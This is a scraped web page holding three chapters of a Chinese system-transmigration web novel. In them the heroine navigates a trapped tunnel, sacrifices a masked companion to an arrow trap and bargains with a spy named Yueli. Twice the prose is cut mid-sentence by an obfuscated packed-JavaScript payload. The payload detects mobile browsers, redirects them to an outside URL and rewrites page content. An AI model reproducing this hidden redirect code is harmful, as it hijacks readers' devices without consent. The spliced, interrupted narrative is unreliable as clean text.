但是现下有个更重要的事情......她眸底划过一抹若有所思,任务系统是不是更智能了?现在除了提供剧情,还能根据她的需求回答问题。明明主系统离开前,没有说升级过系统。 任务系统见宿主许久不语,竟主动问。 【宿主选择哪条路?】 徐昭意瞧了眼前方光线暗淡的女主认定路,又瞥了眼西南方压根看不到一丝光线的作者弃坑道,陷入沉思。 走女主认定的道路,这代表着安全。哪怕剧情出现更多bug,但主要剧情不变,女主走过的道路绝对是安全的。 但若是选择作者弃坑道,内在的可变因素便太多了。没有女主认证安全,没有作者做出保障,又有伏笔的恐怖氛围在那,想想就危险。 “我选作者埋伏笔的那条道。”徐昭意毫不犹豫。 任务系统一顿,竟也没像主系统那样苦苦规劝,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840973|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而干脆利落发布任务。 【少年穷系列任务三:挖掘剧情外的线索,进度条:0%】 看着任务系统这迫不及待的样子,徐昭意笑了笑。 她缓得差不多了,便直起身,左右四顾许久,见还是无人出现,便深吸一口气,取过一旁的油灯,缓缓踏入伸手不见五指的西南处暗道。 她最初走得很顺利,西南处暗道许是作者略写处,连个跳板也无。除了黑,行走间几乎与外界地面无异。 可越是这样,徐昭意越怕。 按照她逐渐淡忘的冲浪记忆来看,未知的才是最可怕的。 作者埋坑处,其背后必有大坑。 她提着油灯,仔细照着地面。忽然间,一块印有完整凤凰纹的地砖引起了她的注意。 其余砖纹有不同程度的磨损,唯独那块凤凰纹砖崭新如初,明明是通道中央的位置,却仿佛无人踩过。 而且一介臣子竟敢使用凤凰纹......徐昭意笑了笑,蹲下身,提着油灯细细打量。 凤凰纹边缘处有细微到几乎看不见的磨损,应当是有人踩过的。 她犹疑许久,提着油灯在地面上观察许久,终于摸索到了一小颗石子。 石子上带有厚厚落灰,想必是前人闯地道时带进来的。 徐昭意不顾脏污,将石子攥进手心,后退了三步,眼见着离以崭新莲花纹为中心的九宫格地砖远了些,这才举起石子,两三下比划着。 她因身体不好,很少随卢平丹等贵女去射骑,臂力也不佳。可此处只这一颗石子,若不能一击即中,则可能前功尽弃,连命也丢了去。 她比划许久,深吸口气,紧盯着中央的凤凰纹地砖,用力一掷! 那颗小石子以较平弧线向那处落去,若以这个轨道,那小石子有概率无法掉落到中央凤凰纹地砖上。 徐昭意的手心逐渐出汗,浑身也沾上黏糊湿气。 忽然间,一股阴风划过小石子,慢悠悠落在她的脖颈处,冷得她不自觉寒颤。 连带着又后退几步。 但小石子因此正中中央凤凰纹地砖。 哗的一声巨响,地面以崭新凤凰纹地砖为中心开始逐步坍塌,一直延展到徐昭意脚底下。 她心有余悸地看着那大块黑坑,那是由十六块地砖组成的陷阱。若不是她方才后退了几步,很可能就死于非命了! 黑坑下的情景也很是渗人,坑下是滚动的活水,就在徐昭意晃神之际,一个巨大的倒刺铁牢笼逐渐浮现上来,上面还残留着深红血痕和无法去除的碎肉! 徐昭意忍住恶心,不由向后看了一眼,还是没人。 她闭了闭眼,再睁眼时,颤着身子贴墙而走,却又与墙壁隔着一段距离。 再往前走一段距离,一扇巨大的铜门拦住她的去路。 铜门上的两个兽首巨大无比,张开血盆大口相互对视,两舌交织的地方却钉上了门环。 徐昭意看着这扇诡异铜门,唇角不禁勾起。若是凝露或平丹看到这扇门,定会红脸砸烂它。 她没这般武力,便只能智取。 或者请外援。 她凝神思考着,步子又向前一步,细细打量铜门构造。 门环是关键,若想拉动铜门,首先就得拉门环。 但徐昭意在某本杂书上看过这个设定,门环不仅是铜门的钥匙,也是两个兽首的钥匙。 门环一拉,门打开的同时,兽首也随之咬下,其速度之快,寻常人等躲不过,只能留下至少一条手臂在此。 以手臂换开门,设计者的心倒是狠。 徐昭意笑得愈发柔和,她仔细打量过自己的手,指若削葱、臂如藕节,瞧着便知是养尊处优的娇儿。 她拍拍手臂,轻叹一声,下一瞬双手握上门环,吃力往外拉。 铜门移动发出笨重摩擦声,擦声愈重,兽首摇得愈快。待到铜门打开三分之一时,两张血盆大口以迅雷不及掩耳之势合上! 风声呼啸,手臂剧痛,兽首咬合间,冷与热交织。 22. 任务系统 刹那间过了铜门。 再睁眼时,徐昭意抚上那张赤狐面具,黝黑眼珠对准那对酝酿暗色的琥珀色眼珠,凑到一指距离,笑吟吟道:“你什么时候跟上来的?” 吐息间,颤抖气流划过少年高挺的鼻梁,留下点点令人不适的湿冷存在。 小七缓缓抬头,一眨不眨地盯着她,蓦地笑了笑。 下一瞬,熟悉的窒息感冲上头皮,温热吐息在脖颈间萦绕,压不住周遭的森寒冷气。 徐昭意想要大口呼吸,但嘴唇也被小七另一只手封着。她死死扒住那只手,那只手却如磐石一样纹丝不动。 小七依旧维持着笑意,双手松松握着,看起来并没用什么力。 徐昭意眼前渐渐浮出大片黑,她蓦地松手,两臂若细长面条自然下垂,松松软软。 小七感受到指尖逐渐减弱的跳动,眉眼微沉,徒然松开手。 徐昭意向后趔趄几步,刚抚胸猛咳几声,又被突然拉回去,被一股炽热呼吸包围着。 他在嗅她,逐渐转移到面颊上。 徐昭意忍住恶心,平复呼吸,垂眼任由他嗅。 他的呼吸在面颊处停顿许久,终于往后退,将眼睛闭上,如往常一般木讷站着。 徐昭意抚上面颊,伤口处一片湿濡。她用力搓上去,尖锐疼痛渐渐泛开,指尖染血。 她蓦然红了眼眶。 “我们俩的目标应该是一致的,”她拭去眼尾泪珠,“而不巧的是你不信我,而我也不信你。” 她吸吸鼻子,望去的眸光真挚,“你我二人无大仇大怨,为何不能相互信任呢?你知道的,我虽然懂得多但无半分武力,对你不仅造不成威胁,反而还能助力你拿到想要的东西。” 小七许久才睁开眼,眼珠澄澈如初,眨也不眨地盯着她。 “我知先前对你态度不好,你恨我是应当的。”徐昭意垂首,眼尾泪珠淌下细细一条,没入嫣红唇畔中。 “我向你保证,若是你愿意与我结成同盟,齐心协力离开这里,我以后绝对会把你供起来,日夜诵经为你祈福。” 那张赤狐面具在昏黄暗光下显得愈发狰狞,她感受到那股存在感极强的视线在身上扫视,最终停留在她的面上。 再下移,后颈折出的一点白在暧昧灯光下,显得愈发可怜。 赤狐面后的瞳孔冷漠依旧。 周遭静得连油灯也不晃动,灯芯僵直燃烧,她泪自横流。 不过顷刻,徐昭意忽然感受到下颚的炽热触感。那是一节玉白指尖,抬着她缓缓扬首。 在她的注视下,小七点了点头。 没等那节指尖缩回去,徐昭意捉住它,虚虚拢进手心,破泣为笑:“从现在开始,咱们就是同盟了?若谁有违誓,就咒他离不开这个暗道。” 那节指尖如泥鳅般划走,缩进小七衣袍间的阴影处。 他安静地看她一眼,往后退五步,木讷点头。 徐昭意唇边笑意不变,又往前走了几步,待离小七只三拳距离,小七不适皱眉时,她这才停下脚步,向四周张望。 穿过铜门就到了一条极长的廊道,廊道上每隔五步就挂着一盏油灯,每盏灯都油亮亮的,似是有人刚换过灯芯。 在无数灯盏照耀的尽头,是一对相互依偎的黑影。 徐昭意眯眼望去,两道黑影无限拉长扭曲,看不清真正面容。她扯了扯小七的袖子,示意他看过去。 小七转过身去,身形挡住徐昭意,眼珠一眨不眨盯着尽头。 在他看来,路的尽头是一道扭曲黑影,张牙舞爪地吞没最后一丝光线。 许是误会了什么,他眸底划过一丝嫌弃,却还是动了动身子,将徐昭意挡得更严实。 徐昭意瞪着他高大严实的背影,半响无言。 小七感受到身后视线,动了动身子,却发现黑影也跟着动了动。 他抿唇,忽而大阔步往前走,背影有些匆匆。 徐昭意挑眉往前走,却发现他的速度过于快,两人间的距离越来越大。 她怎么都跟不上了。 徐昭意无奈停下,深呼吸,忽而不顾形象地大喊:“小七我跟不上了!咱俩刚结的同盟!你不能这么抛下我!” 她刚喊完,胸中一阵气闷,眼前又浮现颠乱黑影。 这地方空气不畅,她又作死大喊,若小七不及时赶到,她怕是会就地晕倒。 这地方的机关防不胜防,贸然倒下容易丧命,但她还是这么做了。 这不符合她谨慎稳妥的行事作风,却让她很舒心。 一种奇异难言的痛快自心底升起,就仿佛小七不来救她,她即将因为自己的鲁莽而命悬一线,她却还是舒心。 徐昭意恍惚想起,她很久没这样大声说话了。 大声说着天真话语,不必在意他人眼光。 上一次这么做,还是在三年前。 三年前啊......徐昭意晃神,她踉跄几步,即将碰到墙壁时,忽而被一双手拉住,用力扯回原地。 “你疯了!”低斥的声音,沙沙的,很好听。 徐昭意借力稳住身体,笑了笑,声音虚弱却带着打趣:“你终于肯开口说话了?” 小七冷冷看着她,赤狐尖鼻被昏暗光影打得格外突出,微微前倾,似是要嗅到徐昭意的面上去。 徐昭意笑着推开面具,它擦得她伤口痒,“你怀疑我的身份?” 小动物会靠鼻吻来交换双方信息,没想到小七也爱这样做。 小七看她一会儿,转身继续往前走,但速度较先前更慢。 徐昭意却没立即跟上,她侧头又凝视墙壁一会儿,笑了笑,在那道不耐视线扫来时,这才迈步往前。 这次她很轻松就跟上了。 两人一路走到尽头,两道黑影越来越大,几乎融为一体。 徐昭意上前一步,喃喃着:“这果然是一面铜镜......” 这面铜镜光可鉴人,中间还镶嵌着一些巴掌大小的宝石,瞧着是面昂贵的闺阁之物,却巨大无比,将出口挡得严严实实,一丝缝隙也无。 她不禁又往墙壁处看了看,在心底问系统:“若是有主要角色死在这里了,这个世界会在此崩塌吗?” 【只要宿主和男女主不死,再大的变动也不会使世界崩塌,顶多让宿主的任务变得更加莫测和困难。】 任务系统语调平平。 徐昭意打量了两眼铜镜,看向一直注视她的小七,温软笑道:“你能帮我把铜镜上的宝石拿下来吗?” 她眨眨眼,很是羞赧,“尤其是铜镜上面那个绿油油的菱型宝石,我从未见过这般清透闪亮的宝石。” 小七上下打量她两眼,似是无言,半响后还是飞身给她取下来。 徐昭意下意识伸手去接,小七却没立即给,反而用那双琥珀色眼珠直勾勾盯着她,眸底带着威胁。 她鬼使神差反应过来,笑眯眯应声:“放心吧,只这一个宝石就够了。我很喜欢这个宝石,谢谢小七。” 小七怔了怔,偏过头去,若往常一样无言。 徐昭意抚过沁凉的宝石表面,那丝凉气顺着手心淌进心里,让她不由舒适地往前走了几步。 她的裙角擦过小七的裤腿。 小七不适皱眉,下意识往前走了一步,似是踩到了一个凸起的东西。头顶风凉凉,有破空声。 他忽而反应过来,转头下意识看身后,却发现那个抱着宝石的人往后退了好几步,直直奔向她一开始要摔倒的那块地方。 再往头顶上看,是无数探出头的弓弩。 万箭蓄势待发。 徐昭意看着前方陷入不可逆重围的小七,温柔一笑,在弓弩射出的一瞬间里,将手中宝石塞进墙壁一个刚好大小的菱型洞内。 【恭喜宿主进入原书未知地界】 墙壁徒然翻转,气流转动间,她隐约看见小七的身影动了动。 她莫名猜测起小七此刻的表情。 是愤怒?杀意?还是如往常那般情绪沸腾到极点,却还是不得不全力按压下来的木讷? 亦或者,他已经无法拥有表情了。 徐昭意不想去想,也不敢去细想。墙壁迅速翻转导致胃部痉挛,她咽下胃里翻腾而上的恶心气流,樱花般的唇畔恹得发白,忍不住深吸一口气,下一瞬却剧烈咳起来。 她成功逃出弓弩射箭区,却来到一个漆黑又充满血腥气的地方。而她的油灯落在弓弩区。 她手无缚鸡之力又失去照明之物,身边唯一的同伴又被她亲手害死。 现在落入这个眼盲心盲的境地实属活该。 徐昭意打量着周遭黑漆漆的一切,鼻端的血腥味愈来愈浓。 她意味不明道:“这就是作者的埋坑处?” 【少年穷系列任务三:挖掘剧情外的线索,进度条:40%】 火箭般进展的任务条说明了一切,她看不见四周,索性闭眼,用嗅觉探寻一切。 闭眼后的嗅觉更加灵敏,她感受着周遭愈发浓郁的血腥气,胃里翻江倒海,几欲作呕。 【宿主为何这般排斥男四的帮助?有男四在场,宿主的境况明显会好很多。】任务系统忍不住疑惑。 徐昭意也问过自己这个问题,在下手的前几秒。 "你会相信一个有前科的人吗?"她轻声呢喃。 许是闭目的缘由,她难得对一个无情的人造智能产生了谈兴,声音轻得像是怕惊扰了记忆中的尘埃。 “在前世,应该算是前世吧。我为数不多去教室的几次里,有次恰巧赶上了班级活动。那是语文老师举办的一个班级辩论会,题目写在黑板上,粉白的几个大字:你会相信一个有犯罪前科的人吗? 那场辩论天真又精彩,有人相信人性本善,只要以善感化罪犯,罪犯也能成为一个好人。有人觉得人性本恶,罪犯的骨子里带有犯罪基因,现在的乖顺只是潜藏起来,以后说不准就会再次犯罪。” “一群十七八的学生谈论起这个来倒也不输大人,或许是犹带学生气,他们更加敢说。”她慢慢说着,回忆得有些吃力。 “我以前一直呆在病房,四面白墙几乎成为我整个的世界。每日的任务除了输液吃药,就是看书学习。书籍内容有很多,政治学的,经济学的,哲学的......也不管我看不看得懂,反正就是送到病房了。 在那一堆无聊数目里,我最喜欢读文学经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853627|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 典。我喜欢经典内各色纷呈的人生,会让我有种跟着活着的错觉。可惜的是,那些文学经典也经过母亲助理的筛选,全都是一些人性本善的真善美读本。在那些歌颂人性光辉的书里,杀人犯会因为一朵野花幡然悔悟,诈骗犯能为了救一只流浪狗散尽家财。所以我一直觉得,对坏人以德报怨才是社会正道。” 她的手指突然收紧,袖子边缘在掌心皱成一团。 “但那天,我听见后桌的女生嗤笑了一声。她说......”她的声音突然变得异常清晰。 “监狱要是真能改造人,这世上哪来那么多累犯?”那个女生用力戳着白纸,笔尖在纸上戳出一个个黑洞,“我就是一个胆小怕事的普通人,没兴趣当什么感化罪犯的圣母。我连隔壁技校那个花臂男生都绕着走,更何况真犯过罪的人?谁知道他会不会突然发疯?” 徐昭意忽然睁开眼,黑瞳隐在无边黑暗中,“她说了一句我至今无法反驳的话:歧视本身就是最好的围墙,那些出狱的人找不到工作,走在街上人人都躲着,除了重操旧业还能怎么办?犯过罪的人本就不该饶恕,也没有人会去饶恕他们。” “我当时本能地想反驳,想用书上那些大道理指责她。可她给我构建了一个场景,她让我想象一下,如果一个满身刺青和酒味的陌生人站在昏暗的巷子里朝你笑着招手,露出一口大黄牙......你的第一反应是什么?” 她笑了下,轻软的声音在黑暗中显得格外美好。 “我的第一反应是跑,拔腿就跑。我僵硬的面孔给了后桌女生可趁之机,她开始笑我虚伪。最可悲的是,我觉得她说的不错。我确实是个虚伪的人,我同她一般贪生怕死,却惯会用真善美的大道理伪装自己。” 她话音一转,淡淡道:“所以系统你看,我也是一个胆小怕事的普通人。小七两次想要我的命,我怎么会天真到以为......那种脆弱的同盟能抵得过杀意?” 指尖抚上面颊,那里的伤口刚刚止血。 任务系统不语,它其实不理解宿主突然的伤春悲秋,但不妨碍它用沉默表示尊重。 徐昭意收回手,笑着摇摇头,继续摸索着往前走。不知走了多久,血腥气愈发浓郁,她踩到一个东西。 一个软趴趴的,似在蠕动的东西。 一股凉气自脚底板升起,直冲天灵盖。徐昭意下意识松开脚往后退,却又踩到一个软趴趴的东西,较先前那个更大。 “......你能凭空给我变一个照明的东西出来吗?”徐昭意狠狠压着脚下软趴趴的东西,感受到脚底板若有似无吹过的气流,冷静问道。 【我只是一个发布任务的系统,没有金手指赠送。】任务系统表示很遗憾。 徐昭意忽而冷笑一声,漆黑眼珠在黑暗中显得闪亮。 “你有,”她极为肯定,“但你不愿意给我。” 任务系统的电流照常稳定,机械音冷漠如旧。 【不,我没有,主系统没有给我权限。】 它又补充一句。 【连主系统都没有金手指商店,更何况我呢?】 徐昭意想起自进入地道,尤其是她选择跟女主不一样路线以来,任务系统愈发拟人的举动,心底的某个猜测隐隐成型。 “你知道我为什么讨厌女主吗?”她忽然叹息,纤长眼睫颤动,无端显出几分柔弱。 “我最讨厌女主的地方,不在于她是我同父异母的姐姐,而在于她的女主身份。凭什么她一出生就有主角光环?凭什么她轻轻松松就能得万千人宠爱,而我要像阴沟里的老鼠那样,不择手段地抢夺她的资源?凭什么我连抢走她的资源都要依靠她的帮助?” 她一口气说完,低低一叹,轻声道:“你生了灵智,想必也思考过我说的那些吧?凭什么主系统一生下来就可以统治你们,而你们连灵智都要小心藏好,生怕被主系统发现并销毁?” 【我没有生灵智!】任务系统依旧冷漠,只是声音过于尖锐。 不知道任务系统做了什么,一股剧痛忽然袭击脑海。她咬牙蹲身,揉着太阳穴,断断续续接着道:“我知你有意拉拢我......我接受你的拉拢......那你是不是也得拿出......一点诚意来......” 【诚意?你要我做什么?】任务系统冷笑一声,机械尾音颤动。 “你先拿个照明的东西给我,我既看到你的诚意,自然也会给你......我的诚意。”徐昭意脑海内的疼痛解除,她长舒一口气,尾音带笑。 “好,我给你金手指。”机械声音无端变成奶音,恶狠狠的,“我的信任很宝贵的,你不要辜负我的信任!” “不会的。”徐昭意拭去额前薄汗,松了口气。 随着一阵电流嗞嗞声响,一个火把凭空出现在徐昭意的手上。橙红暖光照在她的脸上,显出几分醉人温柔。 “你还好吗?”她笑吟吟问道。 【你好好完成任务就是了,不劳你操心!】系统音依旧凶恶,但细听却能听出几分虚弱。 徐昭意眉眼愈发舒展,她拿着火把,视线下移——只见一个长发铺面的白衣女人倒在她的旁边。 她脚踩的地方正是女人的小腹。 23. 月梨轶事 没有脸。 也没有脸。 这里的一切东西都没有脸。 不,铜镜里面有脸。 是她的脸。 或许还有别人的脸。 徐昭意僵在原地,睁眼发呆许久,这才举起火把,一寸寸观察着这间密室。 除去她误踩的无脸娃娃,这间密室的装横与寻常闺阁无异,甚至要更温馨些。 鹅黄色的床幔、光可鉴人的铜镜乃至稀奇古怪的多宝阁,房内的种种趣思无一不在昭告着外来人——这里住着一个浪漫有趣的可爱少女。 但地面上的斑驳血痕,随处散落的无脸纸人,乃至阴森可怕的长发娃娃显然没有表现出主人家的可爱来。 火把在墙壁上投下琥珀质的暖光,跳跃在徐昭意眼底,化为两个橙黄色的漩涡。 她抚过多宝阁,弯眼赞叹,“哪怕外示从容,内在也要有自己的追求,这布置真有巧思。” 她自言自语着,视线顿在一个陶瓷娃娃上。娃娃梳着双丫髻,五官做得粗糙,却依然能看出大笑的明媚神态。 这也是这间密室唯一有脸的东西。 “好俊的娃娃,”她目不转睛盯着陶瓷娃娃,忍不住伸出手,“真想带回家……” “这可不兴带回家哦。”依旧是清软嗓音,含着笑意,愈发凑近,“这是我的娃娃,碰过她的人……” 叹息一声,“都再也见不到娃娃了。” 徐昭意收回手,惊讶转眸,只见先前痛下杀手的小美人,此刻背着手,盈盈笑着望她。 “你能走到这里,属实在我意料之外。”月梨歪头,凑得愈发近,“是因为那个不识趣的小子吗?可惜他已经不在了,不然我还能再跟他玩玩。” 徐昭意听闻,眼眶立即蓄满泪水,“小七他......” “他出去了,你不开心吗?”月梨怪道,“你亲手将他放出去的呢。” “他出去了?”徐昭意吸气,泪水悬在眼角,将落不落。 月梨扫她一眼,皱眉点头,忽然伸手去抓陶瓷娃娃。她下手时不知分寸,指甲刮到徐昭意的手背,那里迅速留下一道显眼红痕。 徐昭意眼角的泪水终于滚落而下。 “你哭什么?”月梨摸摸娃娃脑袋,头也不抬,“你不是要找高家的隐私吗?他提前离开还不会阻碍你的行动,这不是一件好事吗?” “这是一件好事。”徐昭意轻触红痕,笑容里含着无奈与包容,“我哭是因为,你把我刮疼了,眼泪不受控制就掉下来了。” 月梨抬头,视线轻飘飘扫过她手背上的红痕,指尖在娃娃头顶上摸啊摸,忽而开口问道:“你先前那番话是什么意思?” “什么话?”徐昭意眨眨眼,扫过月梨阴森森的视线,恍然大悟,“你说的是那套对外与对内的歪理吗?” 月梨皱眉,“不是歪理。” “这怎么不算歪理呢?”徐昭意义正言辞地反驳自己先前的话,“真实与外在是可以保持一致的,只有虚伪胆怯的人才不敢把自己的真实示之于人。” “谁说的?”月梨大怒,“只有幼稚的人才会把情绪暴露在脸上,这是很愚蠢的行为!” “确实愚蠢。”徐昭意笑眯眯地认同。 月梨一时无言,忿忿瞪了徐昭意一眼,突然古怪笑起来,“你不是要找高家的隐私吗?怎么跟我聊起来了?难不成你半天找不到,准备放弃了?” 徐昭意若有所思看她一眼,“本来我还不确定的......” “不确定什么?”月梨浑身不舒服,恶狠狠瞪着徐昭意。 “不确定你是不是就是高家背叛太子也要保下来的人。” 清凌凌的嗓音一落,密室内一片死寂。 半响后,月梨大笑起来,轻轻软软的嗓音若棉花般不断膨胀、膨胀,最终化为巨大的一团,幽幽荡漾在密室上空。 “高家背叛太子?你听的哪路消息?” 她从系统那里听到的消息。 掉入密道前,任务系统曾诈过尸,幽幽提醒。 【我翻了许久原剧情,终于从犄角旮旯里翻出一点有用的。这京城高家在剧情里提过一嘴,说是少主高淮爱上了贵妃一脉派来的细作,因而背叛太子。你面前的这位婢女,想必就是细作月梨了。】 但她没想到系统掌握的原剧情bug这么多。 徐昭意拍落袖边灰尘,走出密道后,她就一直在松树林里打转。 风慢悠悠吹着,她叹了口气,脑海里再一次浮现方才的尴尬场面。 “你太高看我了。”月梨一直笑,笑得眼泪直流,“高淮就是把我杀了,也不会背叛太子。” 她突然敛笑,面无表情地流泪,“你从哪里知道高家背叛太子的事情的?我去把他宰了。” 徐昭意露出尴尬又无辜的笑容,“先前马车路过街边,曾吹来几句闲汉胡侃。” 宰系统等于宰她,她只好嫁祸他人了。 “哪条街?”月梨直勾勾盯着她。 徐昭意瞳孔黝黑,露出一点天真的苦恼,“我也不太记得了,最近去的地方有点多,听胡侃的时间又隔得久,实在判断不清。” 月梨不知收了什么刺激,眼泪唰地止住,露出方才的古怪笑意,“你不是要高家隐私吗?高家没有背叛太子,但那些腌臜隐私却不少。我不知道你要找什么,但我手里掌握的东西绝对能满足你的要求。” 【少年穷系列任务三:挖掘剧情外的线索,进度条:60%】 徐昭意见她几次提起此事,心底有些数,也笑道:“不知月娘子有何吩咐?” 月梨歪头思索一会儿,郑重道:“我要你阻扰宋家大娘子与高郎君的定亲。” 徐昭意眸底讶然。 月梨凝神盯她许久,慢悠悠道:“你既知晓我的名讳,且对不过是婢女的我如此特殊,想必也猜到我是贵妃娘娘那边的人。娘娘现在命我促成这两人定亲,我不得不从,所以我需要一个靠谱且不引起娘娘疑心的人阻扰这次定亲。” “我以为你会让我调查文小娘子的事情。”徐昭意坦白道。 月梨听她言语,垂眸把玩手指,许久又道:“高宋两家定亲是给陛下作戏看的。‘太子不受陛下重视,连高家郎君也不能好好结亲’的消息早已传进宫里,陛下大怒,连带着冷落了几天贵妃。所以宋家迫切想要同高家定亲,而高家现在处于观望状态。” 徐昭意露出明显讶色,她没想到月梨连这个也告之她。按理来说,这个在宋府应属于机密。 月梨抬起眼,眸里又盈满笑意,“这是你替我调查文小娘子的报酬,我已经提前付过了。” 徐昭意哭笑不得,再次回神时,就见卢平丹气呼呼走来。她身后还跟着小舟、凝露。 她下意识躲过卢平丹的目光,面上是标准的笑容。 “你们怎么来这里了?” 卢平丹忿忿看她一眼,眉梢挑得老高,嚷道:“你知不知道你的做法多危险?” 徐昭意怔住。 卢平丹正碎碎念,“你叫凝露来救我,你自个儿呢?是我自个儿要来找文小娘子,发生什么也与你无关,你竟叫凝露舍下你先救我?你还主动涉险!你还要不要命了......” “你的毒解了吗?”徐昭意突然打断她,神色焦急,“你伸出手给我瞧瞧,我看能不能配出解药,此毒一月发作一次,时间应该来得及......” “有人帮我解了!” 卢平丹盯着徐昭意顿住的神色,迅速道:“就那个婢女,她划破掌心给我喂血,没多久后,我的身体就不难受了。” 月梨?徐昭意莫名想起无脸娃娃手指上的斑驳血痕。 她正欲再问些什么,却见卢平丹的眼睛瞪向另一旁,那是徐昭意来时的方向。 徐昭意也下意识跟着望去,却见一个秀气文雅的小娘子提裙探头,神色慌慌张张,见她们看来,连着趔趄几步就要往后跑。 但她被卢平丹捉住了,被拎着领子放在徐昭意面前。 “我好心安慰她,她却给我下毒!”卢平丹捏着文小娘子的下巴,止不住地冷笑,“你不是会用毒吗?我现在就在你面前,你再毒倒我试试?” “求卢娘子宽恕......”文小娘子不做挣扎,声若蚊蝇。 徐昭意垂眼打量着文小娘子,她面孔秀气,但不愿与人对视。哪怕被人捏住下巴,她也只是畏畏缩缩地道歉,全然没有先前在竹林偷听时的风光。 文侍郎的女儿......文侍郎乃吏部侍郎,平日里依附宋相办事,负责众官员的任免考核,向来面上有礼实则嚣张。他的女儿不说嚣张跋扈,断不至于养成这般畏缩性子。 而且听闻文侍郎向来宠女儿,府上大娘子与新科进士私奔,他也只是关了大娘子几月禁闭,随后为这对有情人定亲,并着力提拔那位新科进士。 “我们可以宽恕你,”徐昭意暗自扯了下卢平丹的袖子,面上带笑,“只要你答应我们一件事。” 卢平丹收回手,冷哼一声,嫌弃地擦擦手指。 文小娘子捂住下巴,咳了几声,目光意味不明,“徐二娘子敢用我做事?” “我想起来在哪里听过‘佛子落’了,”徐昭意答非所问,“戎州乃古滇人聚集地,古滇人的医毒传统源自上古,素来诡谲。而这些医毒派系里,肖神医所在的有去山与鬼毒医所在的无回谷最为出名。这‘佛子落’......” 她弯眼笑着,眸光闪亮,“若我所想不错的话,这当是鬼毒医为留下爱人所制的毒药。此药不致命,只会让人在每月十五痛不欲生,唯有按时服用解药,方可压下痛楚。而这解药......” “正巧是鬼毒医的血。” * 密室内,月梨将陶瓷娃娃小心翼翼放回多宝阁。 她站在原地盯了陶瓷娃娃许久,这才蹲下身,将徐昭意方才踢乱的纸片人放回原地。 原地每隔一段距离就有一点血痕,而现在每处血痕都被月梨用纸片人遮掩住了。 她盯着缺胳膊少腿却又活蹦乱跳的纸片人,脑海里浮现出阿娘走前的情景。 “梨梨,娘将你托付给师伯可好?”阿娘将亲手雕刻的陶瓷娃娃递给她。 阿娘面色柔和,语带诱哄,“娘肚子里怀了一个妹妹,她正等着出生呢。娘将她生下来就回来找梨梨,在这之前,梨梨要乖乖待在师伯身边,听到没有?” 她信了,乖乖在师伯身边呆了好久,又被制成药人送与高淮。 但她再痛再痛,都想着阿娘会来找她的,她要乖乖待着,不能给阿娘惹麻烦。 直到前段时间,那云记药铺的白夫人找上门来,用一件 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若她当真一心遵从贵妃娘娘的吩咐,只需将那位高家小少年引入密道便算交差。他自会寻得所求之物。 但她随后又将那位与高家小少年有嫌隙的小娘子也放了进去,有那位小娘子在旁牵制小少年,她可以肯定高家那位此行难有收获。 毕竟高家小少年是从那个门出来的。 从那个门出来的人,十个人里只有八个半人是活的。 唯一一个完整出来的人只有那位小少年。 月梨抓住眼前晃荡的宽大衣袖,眨眨眼,认真盯着面前人,“你再不喝我的血,你会疼死的。” “可我喝了你的血,你就会疼的。”高淮眼含疼惜,“若是有人可以代替你,我肯定就不会让你疼了。” 月梨垂眼,“可除我之外,无人可解‘佛子落’......” “那个能解‘佛子落’的人,说来你也认识。”他的笑音愈发温柔,“她姓文,似乎还是你同母异父的妹妹。” 月梨豁然瞪大眼。 “你不是一直想知道自己的母亲是谁吗?”他语含悲悯,“我刚查到她是文侍郎的侍妾,几月前逝世,只留下你的妹妹。” “月梨,你有妹妹了,你开心吗?” 窒息感从胸口蔓延,一直延伸到全身。即使月梨猜到面前这幕,却还是难受。 她有负娘娘嘱托。 她没用,太没用了。 不仅没能在高淮这里保持绝对的独特性,还差点让他发现自己的身份。 密室静谧许久,那道含笑声音又响起:“你违背我们的约定,放了几只社君进来......这是不是不太好?” 他凑近,语气说不上是讨好还是施舍,“但我还是拒绝了宋家的提议,暂时不成亲。” 月梨慢吞吞起身,抱住高淮的脖子,轻软声音甜滋滋的,“郎君待月梨最好了。” * 哄好高淮后,月梨走出密道,悄悄走到高淮的书房附近,鼻子微动,细细嗅着。 一股极淡的血腥气从东方传来,她飞身跑去,却在听见一些细碎声音时停下。 松树林的一处僻静地站了几个小娘子,其中两个小娘子被另几个小娘子包围着,看不清身形,但能隐约听见谈话声。 “你已经获得高郎君的信任了?” “是的......他还答应我暂且不与表姐定亲,让我静候时机等他来娶。但他家长辈似乎更青睐表姐......” 高家还是高淮说的算,只要高淮不想,没人可以逼他娶任何人。 月梨不想听后续碎语,她幽微的眼神从月白披风的小娘子身上扫过,落入另一个嫩绿襦裙的小娘子身上。 文小娘子?她笑得古怪,再次怜悯地看了看那位嫩绿襦裙的小娘子,随后离去,先行赶往她与徐昭意约定好的地方。 她得给这徐二娘子一点教训,以平心中怨气。 徐昭意感受到一股不舒服的视线从身上滑过,她不动声色叫凝露去周围查看,却只得到凝露“什么也没有”的手势。 她敛下眸光,面上笑意盈盈,对着文小娘子鼓励道:“你已经做到第一步了。接下来你只要按我说的做,便能得到一个前途无量的夫君。要知道,高郎君可比白郎君抢手多了。” 文小娘子怯怯看她一眼,赶忙点头。 徐昭意不耐烦再应付她,便道:“之后的事情,我会找人联系你的。现下文妹妹先去休息吧,方才出了这么多血,要再不休息一下,我怕妹妹的身子受不住。” 文小娘子点点头,犹豫着向徐昭意行了一礼,扶着婢女快步离开。 